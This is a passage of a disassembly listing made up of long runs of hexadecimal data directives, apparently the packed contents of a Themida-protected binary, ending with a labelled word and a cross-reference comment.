		dd 77E934h, 1DDFE83h, 0BA0A3B3Eh, 4894A400h, 42E3B152h
		dd 0D3EB000Fh, 0AD746528h, 4A1F84C9h, 0B5C0ACA9h, 1ABE2A3Fh
		dd 0C8570715h, 63786D06h, 0E82CB4EBh, 0D1E02CD7h, 798B014Fh
		dd 96BD3D9Eh, 60520300h, 4E588AC1h, 440D44Dh, 0D94BE7B9h
		dd 3CC0D494h, 3F759E1h,	8DCAD87Ch, 33D82E4Dh, 0E0007313h
		dd 63BE6728h, 9077D3E1h, 48492DC8h, 0DB015800h,	2B3DFBCFh
		dd 5A9B1ED5h, 2903C01h,	8C3444CCh, 187B0EA2h, 8C0891Ch
		dd 0B947941h, 220FA48h,	0E075F013h, 0E010439Dh,	0BD4F6A4h
		dd 4741E727h, 171F0080h, 2900B509h, 6DD87DEEh, 60D40844h
		dd 0B0031120h, 0F6030980h, 0F4CC50D3h, 0AA1800F0h, 83D9C3Fh
		dd 6700B862h, 9413FF0Dh, 485E6F06h, 38187C84h, 0FE20C916h
		dd 580350BBh, 810339h, 35DE7CC0h, 97B2E136h, 0DCD4DF02h
		dd 70D1F274h, 8A6700C0h, 0B139550h, 8160A52Dh, 5C01D690h
		dd 949A182Ch, 29401055h, 0CCC62100h, 7AFF160Eh,	53A500A4h
		dd 0C40D2B47h, 2D002361h, 0DF398EDCh, 0BF65298h, 0AB0C3197h
		dd 614D2C80h, 4B007847h, 2AB88B02h, 1551848h, 0CDEFDFD3h
		dd 3035097Eh, 7A08D96Ch, 0E4E73E5h, 71FC0E2h, 0C496594Fh
		dd 0FF5CB479h, 4EA06961h, 7D833F0h, 0F2B000DAh,	9E23A195h
		dd 5100BCA6h, 0DD042009h, 1F50B435h, 26ECBF0Bh,	3362026Ch
		dd 8A3906AFh, 0E90C8CEh, 0CEAA0A1Bh, 0BAB4813Dh, 7DBDF89h
		dd 0A1869840h, 0B4FDD12Ah, 0EDAF6D1Dh, 5E436840h, 4C85F039h
		dd 35000042h, 178BC002h, 7800D696h, 91D1303Bh, 41AAB6Ch
		dd 26A3EFB9h, 4777C002h, 5900617Ch, 49328DCh, 786590CCh
		dd 0C24F4D9h, 625BF20Fh, 740F8710h, 609E21AAh, 3E8E66C8h
		dd 95D809CFh, 88A1365Bh, 243FE48Fh, 58E87164h, 74858D00h
		dd 579ECE0Eh, 0EBED26F9h, 4B410A90h, 587F00B0h,	0DADC3620h
		dd 0C00614Fh, 8EB6D405h, 0F9C10E6Eh, 6580E7A5h,	90227282h
		dd 10624900h, 42646FD6h, 33850081h, 4548DFE4h, 0D500DC14h
		dd 3524F182h, 7A8AA2B3h, 7C99004Ch, 0D2EFC7D6h,	0A00189A9h
		dd 0AFD7F0E8h, 46603E29h
		dd 6722F0E3h, 0F04390EAh, 0DAC82FD3h, 0CE52130Eh, 0F3ABC3Bh
		dd 9F081C2h, 0F32880B6h, 8E6BD1h, 0B88DAD80h, 4307B718h
		dd 883A6E00h, 3B81A1B1h, 59A6005Fh, 0EA3FE1D8h,	0B3124C7Ch
		dd 4D05E3F7h, 20807B7Fh, 12454FCBh, 2DB3955h, 0C670A914h
		dd 1800C65h, 597A8DFh, 0DECB00C1h, 7C6C8312h, 95009CFDh
		dd 0A9DDAB8Bh, 7F213096h, 71C92A4h, 922B91B0h, 31FBC066h
		dd 8700D6E8h, 355F170Eh, 2DBFA1Eh, 0FF9247EAh, 0CC40E6A3h
		dd 80F26349h, 0E1B55A00h, 43162A27h, 7B6C00B6h,	8D0D3E53h
		dd 452EB713h, 190B70F4h, 2E386C07h, 0DCC948h, 62CCE150h
		dd 0F82456E5h, 468100E0h, 0FF0C595Eh, 1B62030h,	4309A89h
		dd 60932FC2h, 70008BC8h, 9DBE3AA2h, 5DCACD6Dh, 7950F40Ch
		dd 4E8000E3h, 4596E85Dh, 0E1E7A84h, 824B6C9Bh, 27F4A252h
		dd 92AF2175h, 23FFE074h, 0C2E7E000h, 45074760h,	1104B9BEh
		dd 0F4D0105h, 756FFA19h, 60779501h, 9A039C8Fh, 614EC0CAh
		dd 6583C8E8h, 33E400F5h, 9818441Ch, 0C8722C32h,	1600AC58h
		dd 0C082DA91h, 0A1BD00FBh, 3F006AE5h, 0A46CE4F1h, 0D6120Ch
		dd 7FE119C2h, 65E5B348h, 7300C3E4h, 7BC11511h, 0B4516Eh
		dd 2E4F1684h, 0F8599F9h, 918B38C3h, 9C80BDFFh, 134C8FBh
		dd 30C1F687h, 0EA7992E4h, 1EB4B480h, 6A07B71Fh,	0C9B2FACBh
		dd 98AA8180h, 4D4E008Bh, 0A0A8C028h, 0B13BD73Ah, 66A78039h
		dd 7A8AECC4h, 6AD60017h, 0DA428B4Ah, 0BC0004E1h, 54110C46h
		dd 58FA60D0h, 990504ECh, 65E319h, 0AE9C94F9h, 100BD8Ch
		dd 0EF0E50BFh, 0E624E2Ch, 956F8A41h, 587115C0h,	22249E46h
		dd 0E50020F9h, 12784467h, 0D2D700E7h, 0A4EB9994h, 7C01211Ah
		dd 0F7938B2Fh, 17D88528h, 410512B7h, 8AB42090h,	30005E38h
		dd 95CD5F16h, 4BC33Fh, 97DCD84Fh, 31FE8426h, 8349F539h
		dd 7624EE1Ch, 0C982B85Ah, 0EC606C5h, 0C6D078C4h, 2487C700h
		dd 0B2181A12h, 7B0F230h, 9ED6299Dh, 0D84EEF83h,	14AD1580h
		dd 0C1384180h, 0CBFC0148h, 1366D333h, 0D4C3D089h, 63007C6Dh
		dd 173EDEC4h, 498E2h, 5B6C9C6Dh, 0F34592FDh, 7A1A8B00h
		dd 0FF97CA3Ah, 93F1258Ah, 7B62248Eh, 0BCC82F7Eh, 0CD24D80Bh
		dd 9C81F4F9h, 9FAD145Ch, 0E0007472h, 0EAFEF1Ch,	0F800BF1Dh
		dd 74D885F7h, 0B3A778h,	2DCA2114h, 0AF479AEBh, 948E5A28h
		dd 0A87F2B03h, 0E8DCFC5Ch, 7BD2DECh, 210834A3h,	0E3B32049h
		dd 0FC00EB61h, 73D6951Eh, 5ACF663h, 0D2757DEDh,	702881ABh
		dd 78402A81h, 0D3CBF914h, 0E3D80045h, 0C428125Ah, 660076CAh
		dd 325E80CCh, 382A1570h, 0E43B1FB7h, 0ECCAB280h, 0A0D8E810h
		dd 2045361Dh, 0CEE53A80h, 110A25h, 0EC1B414Ch, 4E44EFBFh
		dd 79CDE300h, 0B8BD07B9h, 84120E0Ah, 90E05E58h,	21154618h
		dd 0C1017800h, 4BDF04AFh, 28D91E17h, 0FC394235h, 760DBFFh
		dd 224823F9h, 0AB1E7776h, 0B4020696h, 41A90A11h, 207CF7E8h
		dd 0E8514C00h, 1B2B040Ch, 36923F00h, 8DA5ADBCh,	13330E37h
		dd 9320D535h, 0A7584096h, 48C66325h, 51CB501Ch,	15F896FFh
		dd 12FC98CFh, 40E244B5h, 95B8D81Ch, 0C200AED1h,	0DBC4CFE7h
		dd 61BD0Ch, 0F4588A49h,	0F177B50h, 0A2FE08BAh, 786FB702h
		dd 60C60554h, 40BEA8D0h, 0A72C0CF5h, 31B0E8EBh,	3E6F87h
		dd 498437BCh, 5002161Fh, 65D28900h, 0A73F2974h,	72305B7h
		dd 812548B0h, 0C19C5F20h, 649370F9h, 73AD300Fh,	0BFD6408Dh
		dd 195D98h, 34216AD0h, 654AB028h, 3E5A5401h, 0AF9E2E3Ch
		dd 79F14ECCh, 3E41C4Ch,	4F748055h, 0FAE8CD61h, 1B494D00h
		dd 438C9332h, 0B5A81DB7h, 5586C0B0h, 0B2C89E07h, 29E9C0A1h
		dd 27FC8EE4h, 0C8DA1441h, 6A9A003Ch, 0FE54829Dh, 8B712680h
		dd 3D370EECh, 0CCF8BE01h, 0F108D0B2h, 4CFC2278h, 0BB0EF498h
		dd 496B0CD4h, 0FDE0807Eh, 0F3D7E3h, 66D87CF9h, 3419EEDEh
		dd 6C86CC00h, 0F0566793h, 8AE20AE1h, 0A4B48210h, 0A8040459h
		dd 1650E0D0h, 0BA535Ch,	0C0039D11h, 44D10Ah, 2A93DF30h
		dd 0BF004A1h, 5B722F00h, 143223F8h, 0B8200008h,	0D5D09C2Eh
		dd 0F906F248h, 0D179395Dh, 75140210h, 0C7DBEBDFh, 0F2BC74C0h
		dd 9792AC88h, 2E1B8810h, 660C0407h, 0F95189B9h,	0FC30AC8Ch
		dd 0C2D00059h, 3DA91031h, 0F5001222h, 694AA5D3h, 0C6BD4Bh
		dd 18589251h, 0EAAF59C8h, 0D0547030h, 0CA5374h,	5E7FF8FEh
		dd 0AD6A6E8h, 0F1BE2A07h, 7130EA34h, 1C8AADBh, 41FF09DEh
		dd 0D85C9D47h, 38E2A1C3h, 6CDF0C14h, 86EA80D0h,	0B6D385h
		dd 62053B95h, 0AEDAB0CEh, 940143EAh, 0F273271h,	7ACCD1C8h
		dd 0DEFE0078h, 4C8E7053h, 4F12763Ch, 4087F5DDh,	0F5D268B2h
		dd 87809463h, 6770335Bh, 0F3BD2500h, 0A320AA96h, 64A600A7h
		dd 0CFB42440h, 3B2DB5B3h, 0FCF80544h, 0BE44A4h,	0F7049CA0h
		dd 0AA1AD862h, 0B8D93C4Ah, 8A860041h, 5400602Ch, 0C416FF26h
		dd 643A5E44h, 7D8980E4h, 46920AF9h, 3FDE0047h, 155DB9EEh
		dd 68F07AA8h, 7021E71h,	0E3C3D64Fh, 2AF08073h, 0E4ADFBh
		dd 0A969D1CEh, 2E7F22Bh, 49C31739h, 1B7D2D34h, 0E0C5A828h
		dd 0DF090B20h, 8200ADCh, 8A25328Bh, 1EA79003h, 0CA2CF2EAh
		dd 0DEE483E4h, 72EC98DDh, 0A56F0049h, 0C444148Eh, 74780932h
		dd 543EE7E0h, 0B6AD80C5h, 0EEAB259Dh, 28BE722Ch, 7BEC4797h
		dd 0EF8958FFh, 803A5F1Fh, 0ACB30824h, 0B600D87Dh, 32406773h
		dd 4F64E7Bh, 3F97253Ah,	5884A0D9h, 3E2F480Fh, 0BC7D61DBh
		dd 19E44B8Bh, 0FAFC0042h, 2A7CC468h, 272CA906h,	0E00A876h
		dd 435FA414h, 27C1FA26h, 8480BBADh, 0E0F28532h,	6E14C407h
		dd 0EF30BCDCh, 5B7D685Eh, 958C0067h, 18484CFDh,	741F6600h
		dd 0B3C0F210h, 25B6F4DCh, 0CC84937Fh, 72E2813Fh, 40B060C8h
		dd 12BF672Fh, 5EB0B2FCh, 83C00A0h, 0E847DD2Dh, 0D7004378h
		dd 31A02BD5h, 12B8EE0Fh, 1776E25Eh, 5A0EFB10h, 0C095CE71h
		dd 7ECD5993h, 895C02AAh, 0B516238h, 0ADD1D2E0h,	37B74116h
		dd 7AF64407h, 2EBF6680h, 7306076Dh, 3335B020h, 0A2CA393Eh
		dd 0EEDDA060h, 0D587841Ch, 400BCEAh, 0D455BC0Fh, 44D248h
		dd 2B56060Eh, 0B0BBE0DCh, 73817A00h, 85979E61h,	28A10070h
		dd 0C4F04CACh, 0D50701B1h, 66E3D6B7h, 9B11B500h, 6C02038Ch
		dd 88C3FB6Dh, 6AE0E0B5h, 0CE92DD00h, 833059A7h,	1D7113h
		dd 81CC0F47h, 437CF86Bh, 528ABB00h, 71E5CF36h, 0BF90B1h
		dd 99CE5047h, 0BBFBFE01h, 1A396300h, 7E66B8A2h,	6975071Dh
		dd 0A035DCEFh, 0F71B8F16h, 0F100D475h, 8182A01h, 49DA028h
		dd 0A637693Eh, 0AC9C8061h, 8C7BBFF2h, 4F525C01h, 76E5F57Ch
		dd 4EE002FFh, 29BE1105h, 0E7AFB880h, 0E91C495Eh, 0F49474FEh
		dd 18A600D3h, 20A3578Dh, 0F18B0E26h, 40E0BE68h,	0FB341F30h
		dd 3943FF00h, 2A3F389Eh, 0CC9416D8h, 88204084h,	0AF23F3E1h
		dd 80A7A839h, 2F07B4DDh, 489D31A5h, 0F100F0A3h,	0C8A952F8h
		dd 0DF3DD7D9h, 3E5080DBh, 5551B3ACh, 766A3A80h,	4D184280h
		dd 618DFD1Eh, 0C25B6016h, 60E3940Eh, 3C91A3A2h,	0AF758Eh
		dd 0BDA522B8h, 1D8C1E9Eh, 12302100h, 9454BCB9h,	343A0058h
		dd 472E317Ah, 99072FF9h, 33CC1C3Dh, 66384160h, 0D96C00E2h
		dd 0C47493D4h, 650096F8h, 9A8CFA58h, 3C0AD3E0h,	0E7008BCAh
		dd 6B46794Fh, 0C34F637Bh, 7FB55400h, 0E22AC0h, 45C1DC4Ah
		dd 576BD21Ch, 706D0500h
		dd 98822F35h, 36D40306h, 29F21B27h, 5EF76AA8h, 0E809C3E2h
		dd 0D32E4Eh, 0BC9BFB33h, 34D10C7Ch, 0C360F60Ch,	0C069742Eh
		dd 0E73601BCh, 0CF3C5B19h, 2DD045D1h, 10B45075h, 1C255034h
		dd 8982077Ah, 47727CB7h, 34D340B2h, 21C0F902h, 5EA96B76h
		dd 41930EF1h, 4783095Bh, 1EE8CE01h, 66017CD8h, 0F6199F3Ah
		dd 0F186CFE9h, 40336DBBh, 89927C00h, 0A993F942h, 0E75897A1h
		dd 0D0B489C1h, 1106BCA7h, 747D0501h, 227E8B4Bh,	0B321484Bh
		dd 4D24C190h, 49731839h, 0A5007BAEh, 218E774Fh,	0DF8A45h
		dd 6DBDB4C8h, 0B7A8E9C1h, 7838C200h, 481209D5h,	0E8240197h
		dd 0B6629D98h, 0F782E447h, 0AA78BF00h, 1F994183h, 95A53B7Fh
		dd 0ED929E00h, 98F758C9h, 31CE0300h, 0E07EDC50h, 0FC0C09E3h
		dd 5A0044EFh, 367D9515h, 2C573A00h, 1CE552C1h, 0E2A31E1Fh
		dd 55AA422Dh, 88808490h, 417D8C15h, 2BA25A03h, 0DB74B347h
		dd 7367E04Dh, 5DAD009Ch, 5FDF5BBEh, 851EEB9Bh, 4787D987h
		dd 16604980h, 530CEFBh,	0B7EEE804h, 0B187C11Eh,	5AEBF078h
		dd 262C4490h, 10209460h, 9F84C920h, 606E60A0h, 20C1041Fh
		dd 0BB3888C6h, 1C81CE03h, 68198417h, 7407E3F5h,	114C428h
		dd 0B52D3045h, 90012088h, 3AF5CC00h, 28746h, 67415E96h
		dd 0EB035A4Ah, 4345171Eh, 76D0FB80h, 1F44AA74h,	8197B240h
		dd 0DD13CE9Eh, 0D0A6215Ah, 39002415h, 61267B2Dh, 0E8270Dh
		dd 0F5EE44D0h, 5F83B2B6h, 7130CC00h, 0D4D8612Bh, 90F13FE8h
		dd 91A89E00h, 5EE999C0h, 416B2400h, 0C31187Eh, 47AA00BDh
		dd 0AB5AC949h, 5C0FDFFCh, 201BE81Ch, 69EFD519h,	29220389h
		dd 7CA2AC81h, 9E650DFh,	0E00178D0h, 6BCBED97h, 7AF893C6h
		dd 0F37F46Eh, 0D2E42C20h, 55E8F340h, 0FE0070B2h, 3D979F7Dh
		dd 28EF64D5h, 18B7F8D7h, 86B1498h, 7A00C07Ch, 8665B7A3h
		dd 0F752DFh, 3B278A49h,	6771B6CFh, 82EEA124h, 7E8E8000h
		dd 67D518C2h, 0F09F7878h, 0A9A4E40Bh, 93040A00h, 8AEF6687h
		dd 19F40077h, 0B89D9EE1h, 41741718h, 0A149F600h, 0D005AF3Fh
		dd 8821CEFh, 8C4B003Eh,	26D85EADh, 1035FC00h, 0FFC7FBA2h
		dd 8AA600F4h, 0EE651214h, 0DF0162ACh, 793C1369h, 10F59AD9h
		dd 0F247C98Fh, 87FC1EC0h, 8F1BF374h, 98F83673h,	1FA6974Dh
		dd 6256622h, 11E6B982h,	2B500487h, 10EE6180h, 408A5DCEh
		dd 0D6A41A2h, 1A5A9B1Fh, 0B70B7D00h, 7EECF02Bh,	0C5CE19EBh
		dd 816298Bh, 0BC62441Eh, 0BFB02284h, 220C7222h,	0A8427F20h
		dd 21887011h, 0C644085Eh, 518ED490h, 15A2271h, 0E2C24765h
		dd 30FAFEEFh, 4D14BB21h, 0C1D08h, 7C34F4FCh, 3FAD7Bh, 6CA02DFBh
		dd 98592443h, 401643Eh,	0B599EF3Bh, 89485F80h, 1BE7B0Ah
		dd 27623090h, 0E03B8846h, 1F73F2C7h, 0D5CC4400h, 0F42869FAh
		dd 627D1DDBh, 0BB76C070h, 6F347953h, 9500A990h,	20A6EC9Fh
		dd 990F4DEh, 0EFBEFB4Ah, 25444C01h, 0B9EAC4B8h,	1EE5740Fh
		dd 0A04C6E69h, 841207DAh, 20315CDCh, 0DDD444h, 52AA3B06h
		dd 0D8E3F35Ah, 0D35D2100h, 78957FB8h, 60C9F0DAh, 77A7EC6Eh
		dd 251A6762h, 8040A110h, 35236C28h, 0D4A20785h,	67B4FF2Ah
		dd 0B01B7056h, 0FE00474Ah, 0C51E441Ch, 0C6EDE1h, 0F49722A7h
		dd 0F8304D2Dh, 3A9ED717h, 0A1000FAh, 365FED1Bh,	3F5ABD5Ch
		dd 8392Ch, 5EBC8999h, 175968Eh,	0A9851974h, 0F00E83E9h
		dd 0BC988F5Bh, 0B3C42A00h, 79DA7E64h, 0CAE494h,	0ADD1B4F2h
		dd 60280AABh, 0FF00FE74h, 50C4DBF6h, 47989E5h, 8DC7818h
		dd 3FFBC0E3h, 0FB00DE31h, 676869F5h, 1FE9927h, 624E01DBh
		dd 0B8D67738h, 5E140086h, 0E3ACF8DAh, 0DED328F7h, 0D878120Ch
		dd 16DD0EFEh, 9C091080h, 0B009A8B6h, 8EDF02FAh,	514A0E7h
		dd 39C44099h, 538F1294h, 0DD83EC89h, 39F07091h,	0CB00E875h
		dd 0F3216867h, 82FD96h,	0B6609B46h, 4C9C0E5Ah, 0A7EB1A0h
		dd 4B507700h, 28044A12h, 0A1F50038h, 5A6049CCh,	0A8702F06h
		dd 8E93B000h, 0E2F68A2Eh, 61AE489Bh, 9A003D48h,	0A47320B1h
		dd 0FD019880h, 68589F0Dh, 8CC4DA38h, 0DECA307Fh, 71C4CC08h
		dd 228ABC00h, 5B8F6086h, 188F451h, 0C00D5EC1h, 0D1397417h
		dd 4FA8E808h, 1CEA7600h, 94B86CD6h, 71293E10h, 0C89C5A83h
		dd 407C5279h, 0E268C000h, 0A998E90Fh, 227303D5h, 0B1BD151Dh
		dd 805EC2F9h, 281CB0A8h, 3EB31B64h, 7883A0ADh, 9E53EFFAh
		dd 67E74CB0h, 0A8BADE1Eh, 21659243h, 0B0EFE8DBh, 579F1EA7h
		dd 3F3880EEh, 0B67FD242h, 267B301h, 5B7733AFh, 4BE7F4h
		dd 0E42E9F72h, 92746E8Bh, 0CA0077Fh, 8D0EDA2Ch,	80706411h
		dd 42DB1AAh, 0E705004Dh, 73413959h, 0AD00A691h,	0F9163224h
		dd 3E4B0278h, 0EA039E3Eh, 367938E1h, 7BCE2CE0h,	0FAE5F214h
		dd 0B71500F0h, 0E0AEA496h, 536900CAh, 6389C4EFh, 5707DC39h
		dd 0ADC555BAh, 0F71C1463h, 421E5680h, 0BCD30198h, 8E83CA90h
		dd 3726ECBDh, 0B22DE8C0h, 3E89D571h, 183DDF59h,	9C861580h
		dd 0E1CC75CDh, 0BCC45Ch, 8E5C4B01h, 0E851F2E5h,	5026482Ah
		dd 57E43500h, 9C33E9FCh, 0CD095800h, 0E16D100Dh, 50BF0056h
		dd 0E9AB93FFh, 841D94A5h, 9600C53Dh, 0BB043455h, 0C69200B5h
		dd 8257F344h, 0D50343EEh, 0D35CF1F9h, 91A4B0E3h, 48F41C5Eh
		dd 0FD6968Dh, 0CB816FA0h, 0DCBA97BBh, 3EFE054Ch, 834E371Dh
		dd 0BFD44440h, 0E9547Ah, 0A5ACFF8Ch, 0FB9A6339h, 55CF8300h
		dd 0EEE4E1A0h, 3DA91E2Ah, 0B19DC0AFh, 0A57BF9Ch, 8FDE4800h
		dd 68A6C109h, 0E8363904h, 10B23E00h, 279883D5h,	434BE509h
		dd 0E63E80D7h, 7E3CB69h, 9C8B62C6h, 841150BEh, 39006FF2h
		dd 5EC06537h, 0FE7719h,	0BFD1BAE1h, 0EFF98F0h, 0F0357E28h
		dd 770B6E01h, 632A78B3h, 972990D4h, 70035858h, 53F17A50h
		dd 99A2B8CEh, 35E3042Eh, 8726CC31h, 48543148h, 40102066h
		dd 39671D01h, 719E56Eh,	24F9F820h, 3AA07C04h, 553F7000h
		dd 716021D0h, 6BDAFC02h, 80650BBEh, 0A5A7FF0h, 0EF160EA8h
		dd 51A2AB74h, 686063DBh, 0CA00277Eh, 34D69C08h,	0CBBD441h
		dd 0E693C6Eh, 3200D019h, 81A70F47h, 3619845h, 48D33ED4h
		dd 0F5E80B53h, 9C1E418Fh, 0C84F15Dh, 68C010ECh,	1C4364E1h
		dd 5C9251E7h, 3A2CB3h, 0AC6794F2h, 1203EDBEh, 2CEA4528h
		dd 47E90470h, 0C09BB8CEh, 58B56409h, 164B2B14h,	4AE81FCAh
		dd 2F9D803Ah, 4FBC53DBh, 0ABB303BBh, 230747ACh,	515C74B8h
		dd 7EFCD000h, 0B175EAE3h, 780F00A5h, 8F07D37h, 0DB0057EDh
		dd 0FFD5EB45h, 606B530Ah, 54BE483Eh, 0A600CF60h, 0E394D9BAh
		dd 0A9ED45h, 149F3676h,	564CE563h, 2DE61A00h, 9317E450h
		dd 8A0600B1h, 0FDC4C649h, 0C700CA9Fh, 29EBADABh, 5CAC2378h
		dd 0D00A8071h, 0EC39A3h, 0A6F80304h, 0B01F6AB2h, 6E8E1ADFh
		dd 70C147Bh, 0DD21B668h, 0C14E4BF7h, 1A79D9FDh,	0AC93E8h
		dd 254E9D05h, 67F0F9B2h, 83F5E213h, 8A7A3400h, 1CE35C24h
		dd 0C198B49Ah, 3BB7FC94h, 0F03C216Eh, 0BA1E270Ch, 0F24F73D0h
		dd 8BC2807Ch, 0C1918Dh,	0FF2FC6C7h, 23609395h, 9C57651Fh
		dd 0EB005653h, 3E293A5Eh, 0EDD4A06Ch, 0ADA5168Ch, 4596008Fh
		dd 0B95AF0CFh, 0DC77F700h, 0FE6C0652h, 0EB57F14h, 49850F4Fh
		dd 0B9CD23C0h, 0F603EFECh, 75375486h, 52800DBh,	48AF82F0h
		dd 1A003272h, 8366E701h, 7E401E6Ah, 0EDAEAAEh, 0F921D139h
		dd 548D5A80h
		dd 0F5E2628Fh, 0A475C900h, 59E67B19h, 44B25Dh, 9B63F6DDh
		dd 4227F3BBh, 0AC6449h,	6637C344h, 0BF02BF2h, 0AD905A9Fh
		dd 0C0C08h, 1DE1F629h, 9E76A370h, 3819BA0Fh, 6DD24059h
		dd 988F5D45h, 30A60298h, 84352226h, 0CA3AC083h,	9A1D1CE0h
		dd 7114F079h, 0E985A67h, 80762E8Ah, 183112DCh, 0DC9063h
		dd 0B420785Dh, 454CD766h, 3A001A73h, 0AAEEE025h, 78C7A03h
		dd 6C2FF864h, 0FD5CC701h, 0B6CCD868h, 0F7CB9E3Eh, 0F4D64A16h
		dd 0B36C0001h, 6ECFB85h, 0AE823F17h, 0AB63A00h,	45AABDE3h
		dd 0FDB84202h, 6058E710h, 7AF9B044h, 3F24009Ch,	3E6EA554h
		dd 0AD005D2Ah, 0CF024B03h, 0D650A9h, 0CAC553C3h, 0F161ED5Ch
		dd 0C849FB26h, 0BEBA073Ah, 5D60338Fh, 16F9D8h, 6361E677h
		dd 400E500Fh, 0E24C2D00h, 73DE9AD4h, 0AA830BC0h, 3280AD6Bh
		dd 5EAE9086h, 0FD9BD01Ch, 8E59C8CBh, 0DC37403Ch, 9B007CBh
		dd 9AED5363h, 62666C10h, 0A0AC991Eh, 8080B78Bh,	1B155770h
		dd 1204002Ch, 86EA4A1Eh, 9D4C55BDh, 0A6AC0380h,	0B8FBB7F8h
		dd 550DCh, 82BA3C62h, 0F43BB940h, 0F1852D01h, 4171341Eh
		dd 0F3CF60DEh, 267C0375h, 1A737464h, 1C60FAF8h,	0A908E500h
		dd 0F6A0B2FFh, 0FF6090D1h, 5C7B9020h, 932CBCEEh, 40B31CC8h
		dd 0A616CE3Dh, 0BBE41550h, 6449AC24h, 4CADE901h, 0C1CCC0DFh
		dd 38C3E9C6h, 263A6C20h, 0F6E1B80h, 10341AF7h, 98A74F24h
		dd 98F83C18h, 737100D1h, 4527AD57h, 9200BCE2h, 0FB315F6Eh
		dd 2528B78h, 0C4F6C686h, 0A8805B66h, 0FF8FA763h, 0BE134900h
		dd 0F153B926h, 3C580F77h, 5E19B8h, 56B1B085h, 4BF47807h
		dd 0E606A201h, 8F341295h, 0AFB2C0h, 0D8BC95Bh, 0FC100436h
		dd 0AB60766Eh, 204CA0DDh, 13B0A5Ch, 97021169h, 305485E2h
		dd 0C90050A2h, 0D9EF598Ch, 186E3Ah, 4F9F2D2Bh, 0E1B52EDFh
		dd 0AC915A00h, 93BF71C4h, 0AE6709EBh, 0A001C9F1h, 0C82F48C1h
		dd 0A706868Ah, 0D69952B2h, 0B4D51D48h, 46F44387h, 94E0C54Dh
		dd 0CC60AB9Eh, 1D785038h, 19580007h, 55172FFCh,	50B06CDBh
		dd 0C4BD800h, 4AFB16D7h, 7C7518h, 40A1ECBCh, 37A4E9D3h
		dd 0E1429501h, 9A968A94h, 0A05690DCh, 7215DDA8h, 0C8974C1Dh
		dd 1D42492h, 9307A60Ch,	9C51FCFAh, 3B3CAA00h, 0A36E5FFBh
		dd 0E3DC0016h, 3968856h, 2612D544h, 9000BC0Ah, 0DB9E8BBFh
		dd 0D11A0111h, 0E26B076Dh, 0E5906435h, 0B2C6E400h, 0DF11278Dh
		dd 0ABD32573h, 321C0080h, 86269222h, 4A1C4DB8h,	8BE4AAC0h
		dd 1FE970DFh, 79FAF376h, 56E1680h, 2574FE87h, 1B198900h
		dd 20671577h, 0FF510C58h, 7170E698h, 4AA77C0Fh,	0C8405EA5h
		dd 4BCB7B73h, 85F700F3h, 0BFAA1384h, 2300A60Eh,	9DE3A368h
		dd 12B216Ah, 0E405C451h, 0EC4AB640h, 3B4C238Eh,	838400C0h
		dd 0EB32267Fh, 9A5E072Fh, 0AAF8EF53h, 35E9000Ch, 0CC305DA0h
		dd 7A365E03h, 0D099F85Ah, 852C12h, 32A2CF1Dh, 62E67166h
		dd 8C7A7526h, 0A409FA00h, 1AECEAh, 213AFC12h, 186CDFB1h
		dd 47133709h, 4408805Dh, 3858EC91h, 789733h, 458E9FA8h
		dd 0FD99D9CAh, 9C4A5324h, 8FA4C883h, 7DD1A8E0h,	74D80E1Dh
		dd 528022A2h, 0EBAA7092h, 0A8B749h, 7FF31110h, 173D3C4h
		dd 3B97BAB3h, 20069519h, 0CB030EB0h, 0B15402C2h, 0E516F0FEh
		dd 0EC560C18h, 0BA782D31h, 17844h, 0B47F8CDDh, 959EAB04h
		dd 9100B2E8h, 1B67A378h, 25D424h, 0E0A911C8h, 464FCF3h
		dd 0DF6E3828h, 3F3A6614h, 338900E0h, 8CDBF41Ah,	1D50B506h
		dd 0DED96A0Ch, 0CC2203Ch, 5D2FE447h, 0C8064031h, 3CB96ACh
		dd 0FA060010h, 460F37C4h, 0E490DF36h, 4FA4A300h, 0AB143A2Dh
		dd 9CAD0C3Bh, 74A03FB4h, 0FD5E180Ch, 0F641E2h, 0E16F06B3h
		dd 151B1EADh, 0D1027B00h, 0CCB5AA73h, 0A2100064h, 0B272A94Eh
		dd 0E4006E24h, 0D71D8C5Fh, 11D45Ch, 2386045Dh, 0F90F6474h
		dd 2E6AA00h, 12A8BDB3h,	0F8553EA2h, 811C6EACh, 195101C1h
		dd 4AC82DBBh, 1937D45Ch, 48373C90h, 42C50491h, 0C16FE8BFh
		dd 0C8BE1A38h, 0CA004FC0h, 78ECBB4Eh, 48B64AD9h, 6B04CC97h
		dd 0DD43FFh, 420567D3h,	96084CEFh, 8501B058h, 55C0B5BCh
		dd 2F33EC37h, 86FBFE00h, 0BECE1876h, 181C568Ah,	0B5B95605h
		dd 6BCCC046h, 7303D263h, 0B845C351h, 4C9088B2h,	48FCEE61h
		dd 2105547Bh, 1460EDACh, 2F0479E7h, 0C08837C7h,	0E977E624h
		dd 80A81239h, 4A59F309h, 28DE5A07h, 0C6F0ACh, 641EED4Dh
		dd 0C6DB4FE8h, 71DD290Ah, 77009C09h, 5DA125F3h,	8C551BF1h
		dd 0DBB07047h, 7C39EE66h, 0DC993B4h, 8F7F3400h,	0F06CD47Bh
		dd 96470043h, 8CE83FD9h, 0C20493D0h, 0D250FF4Eh, 2EC8E4A0h
		dd 7940984h, 0DC7DC152h, 2001608Ch, 76DAF8B1h, 16700517h
		dd 62570022h, 54EB3C1Ch, 4A001AC8h, 5F5C873Eh, 7DD19D12h
		dd 0B6941233h, 0E25804A3h, 0DAC8014h, 7E780850h, 9DD16900h
		dd 6CD6EB2Eh, 0CBF70045h, 0AC68F5B6h, 2100659Bh, 9AD7B913h
		dd 0F4D4B7E7h, 0F0BD00E1h, 0D0649780h, 0BC002815h, 6C77CD0Ah
		dd 28C423E0h, 5906944h,	65799AF2h, 0FCACC010h, 0B14E7A8h
		dd 10CDAC8h, 0C312AC7Ch, 0CD02AF3h, 0C99200CDh,	6CEB484h
		dd 2B5A20DBh, 0A56D0800h, 0B8ED98C1h, 0E04D3EACh, 17FC404Fh
		dd 2FFFDA5Eh, 0E378A51Eh, 0FE0E2081h, 0E8326986h, 9E2AB380h
		dd 0A874B1ECh, 0B4A4A100h, 311D2494h, 0E3280004h, 2FF8B9EEh
		dd 6CB0F1BBh, 0B3279B0Eh, 0C550E4E6h, 64E73480h, 434E0097h
		dd 2948D6A0h, 0D203CD24h, 262FFBA9h, 0C999D882h, 62A80085h
		dd 9CEB56CCh, 890184D3h, 423D4D18h, 54E0810Fh, 0E2CB008Ch
		dd 0A58A1C9h, 5F00887Dh, 24CF2CE9h
		db 32h,	2Dh
word_523E6E	dw 3023h		; DATA XREF: Themida_:0056FFE4o
